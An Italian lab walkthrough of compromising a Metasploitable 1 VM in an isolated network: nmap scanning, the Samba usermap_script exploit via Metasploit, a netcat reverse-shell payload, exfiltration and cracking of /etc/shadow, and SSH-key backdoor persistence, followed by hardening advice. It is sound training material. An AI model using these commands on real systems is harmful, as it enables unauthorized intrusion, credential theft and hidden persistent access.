Sfruttamento delle vulnerabilità in Metasploitable

Ciclo completo di un attacco reale su un ambiente controllato e isolato: preparazione del laboratorio, riconoscimento con nmap, prioritizzazione della superficie d'attacco, mappatura a CVE, sfruttamento con Metasploit, post-sfruttamento, estrazione e cracking delle credenziali, e persistenza tramite iniezione di chiave SSH.

1. Preparazione dell'ambiente

• Attaccante: Kali Linux — msfconsole, nmap, John the Ripper.
• Obiettivo: Metasploitable 1 — Ubuntu 8.04 (2010), senza patch, con molteplici CVE note.
• Rete: host-only, entrambe le VM isolate da qualsiasi rete reale (192.168.64.0/24). IP vittima: 192.168.64.3.

2. Riconoscimento con Nmap

Scansione delle versioni per identificare esattamente cosa è esposto — le vulnerabilità colpiscono versioni specifiche, non servizi in astratto:

nmap -sV 192.168.64.3

12 porte aperte, tutte con versioni obsolete e sfruttabili.

3. Prioritizzazione della superficie d'attacco

Invece di attaccare la prima porta aperta, ho classificato i servizi per tipo di rischio prima di scegliere l'obiettivo:

• Accesso remoto (22, 23): Telnet espone credenziali in chiaro; OpenSSH 4.7p1 è una versione molto vecchia.
• Livello applicativo web (80, 8180): Apache 2.2.8 molto indietro rispetto alla versione stabile; Tomcat con credenziali deboli e potenziale RCE.
• Database esposti (3306): MySQL 5.0.51a, versione vecchia con accesso diretto ai dati.
• File condivisi / rete interna (139, 445): Samba, storicamente uno dei servizi più sfruttati, con CVE ed exploit pubblici noti.

Obiettivo selezionato: Samba 3.0.20-Debian — combina una versione con vulnerabilità critica documentata, exploit disponibile in Metasploit, ed esecuzione di codice senza necessità di autenticazione preventiva: il massimo impatto con la massima affidabilità.

4. Mappatura della vulnerabilità

Conferma della versione esatta con il motore di scripting di Nmap (NSE):

nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)

Samba 3.0.20 è vulnerabile a CVE-2007-2447: il parametro username map script non convalida l'input, e un attaccante può iniettare comandi di shell direttamente nel campo nome utente. Poiché il mapping avviene prima del login, non sono necessari né utente né password validi.

5. Sfruttamento con Metasploit

msfconsole

Ricerca del modulo corrispondente:

msf > search type:exploit samba

Configurazione ed esecuzione:

msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened

Verifica immediata dei privilegi — la vulnerabilità fornisce accesso root diretto, senza necessità di escalation successiva:

whoami   → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel del 2008)

6. Post-sfruttamento: come è realmente accaduto

Ispezionando i processi sulla vittima si può vedere il payload stesso iniettato in esecuzione:

ps aux | grep samba
root  4931  sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"

Il nome utente inviato conteneva il comando stesso (/=`...`): Samba lo ha passato senza sanitizzazione a una shell, che ha creato una pipe con mkfifo, aperto una connessione di ritorno a Kali con netcat e collegato /bin/sh a quella pipe — l'esecuzione remota di codice completa, linea per linea.

Enumerazione dei servizi interni con netstat -tulnp: MySQL risultava in ascolto su 0.0.0.0:3306 — esposto a qualsiasi macchina della rete, non solo a localhost.

7. Estrazione e cracking delle credenziali

Invece di tentare di craccare sulla vittima stessa (consuma CPU, genera rumore, lascia tracce), ho estratto gli hash e li ho trasferiti a Kali per attaccarli offline:

cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

Trasferimento tramite netcat e preparazione per John the Ripper:

# Su Kali:
nc -lvnp 4444 > shadow.txt
# Sulla vittima:
cat /etc/shadow | nc 192.168.64.4 4444

unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt

John esegue tre fasi automatiche (modalità single con info dell'utente stesso, dizionario e forza bruta incrementale). Risultato: 6 password su 7 craccate, incluse credenziali riutilizzabili per SSH, MySQL e FTP.

8. Movimento laterale e persistenza

Con le credenziali craccate, accesso SSH diretto come utente legittimo:

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Per non dipendere da una password che potrebbe ruotare, ho generato una coppia di chiavi propria e l'ho aggiunta al authorized_keys della vittima — una backdoor che sopravvive ai cambi di password e non genera allarmi di forza bruta:

ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys   # eseguito sulla vittima, già compromessa

Accesso successivo, senza password:

ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Risultati

• Dodici porte aperte, tutte con versioni obsolete — la superficie d'attacco non era un singolo fallimento ma l'accumulo di anni di servizi senza aggiornamenti.
• Una vulnerabilità di esecuzione remota di codice sfruttabile senza alcuna autenticazione, il peggior scenario possibile per un servizio esposto.
• Credenziali deboli e riutilizzate tra servizi (SSH, MySQL, FTP) — compromettere un singolo punto ha dato accesso a diversi.
• Assenza totale di segmentazione di rete e di hardening di base (database esposti su 0.0.0.0, protocolli legacy come Telnet attivi).

Raccomandazioni di sicurezza

Eliminare protocolli insicuri come Telnet, aggiornare servizi critici e il kernel stesso, limitare l'esposizione diretta dei database, applicare segmentazione di rete, e soprattutto — dato quanto sia stato facile craccare le password — imporre politiche di credenziali robuste e non riutilizzate tra servizi. Lo stesso tipo di rilevamento che impedirebbe questo attacco in produzione (monitoraggio di connessioni uscenti anomale, allarmi su nc/reverse shell) è ciò su cui lavoro dal lato difensivo nel mio Home SOC Lab.

Conclusioni

La prioritizzazione prima di attaccare — capire quale servizio offre più impatto con maggiore affidabilità, invece di provare porte a caso — è stata ciò che ha portato direttamente a Samba. La fase di post-sfruttamento, vedendo il comando stesso iniettato in esecuzione in ps aux, è quella che meglio illustra perché una vulnerabilità di convalida dell'input si trasforma in controllo totale del sistema. E la persistenza tramite chiave SSH chiarisce che, una volta dentro, l'obiettivo di un attaccante non è solo "avere accesso" ma averlo in modo silenzioso e duraturo — motivo in più per cui la difesa in profondità non deve dipendere da una singola barriera.